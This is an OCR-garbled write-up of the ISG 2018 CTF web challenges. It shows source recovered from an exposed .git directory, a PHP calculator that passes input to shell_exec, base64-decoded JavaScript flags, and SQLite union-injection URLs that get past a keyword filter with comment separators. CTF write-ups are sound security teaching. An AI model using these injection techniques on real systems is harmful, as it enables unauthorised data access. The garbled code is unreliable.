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python2 GitHack.py -u "http://202.120.7.205:60003/.git/"
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<?php

$str="";
if(lempty($_GET)){ $str=$_GET["calc"]; } ?>
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if($str == ""){
}
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echo $str." = ".shell_exec("echo \"$str\" | bc"); 2>
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echo "$str#" | bc
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<script type="text/javascript">
a = prompt("Password");
if(a=="H4CK3D")

{
alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHR0ZSBmbGFnLiBDaGVjayBhcm91bmQu™)+
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>>> import base64
>>> base64.b64decode ("WWI1IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm9@IHR0ZSBmbGFnLiBDaGVjayBhcm91bmQu™)
b'You are Trapped :) This is not the flag. Check around.’
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<html>
<head>

{meta charset="utfd" />
1 =

{zcript type="text/javaszcript”>
window. location, href="trap. html” ;
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1 font—family: ' Sans®;

12 font-=zize: 25px:
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15 #title |

16 text—-align: center;
17 margin-bottom: 100px;
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20 #body {
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#wrapper |
padding: Z0px 250pz 260px 260px;
margin: 100px 250px;
border: 2px =olid black;
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<head>
{titlerLOCATION B1</title>
</head>
<body>
<div id="wrapper”>
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<script type="text/javascript">
a = prompt("Password");
if(a=="H4CK3D")

{
alert("Flag is "+atob("ZmxhZzpJU@d7SDNISU9FMXNHX2pzX1RyNHBS")); } else { alert(

HifR %153 flag

>>> import base64
>>> base64.bb64decode("ZmxhZzpJU@d7SDNISUSFMXNHX2pzX1RyNHB9" )
b'flag:ISG{H3IIO_1sG_js_Tr4p}"'
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select * from sqlite _master where type=’table’ and name=°‘%4%’;
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select * from sqlite_master where type=’index’ and name=‘Z5|4%’;
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def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.sear
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if not codesafe(id):
return 'Hacker?'
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[ ] Enable Post data [ | Enable Referrer
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Load URL | http://202.120.7.206:60019/news-4/** funion/**/Select/**/sql,2/**/from/**/sqlite_master.html
Split URL

Execute

[] Enable Post data [ | Enable Referrer

CREATE TABLE “flag” ( “flag” TEXT )
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http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html
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oad URL | http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**[flag.html]
split URL

xecute

[] Enable Post data [ | Enable Referrer
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https://bbs.ichunqiu.com/portal.php?from=bkyl

	ISG 2018 Web Writeup
	作者：agetflag
	原文来自：ISG 2018 Web Writeup
	ISG 2018 Web Writeup
	calc
	secret
	news
	sqllite基础
	手工注入



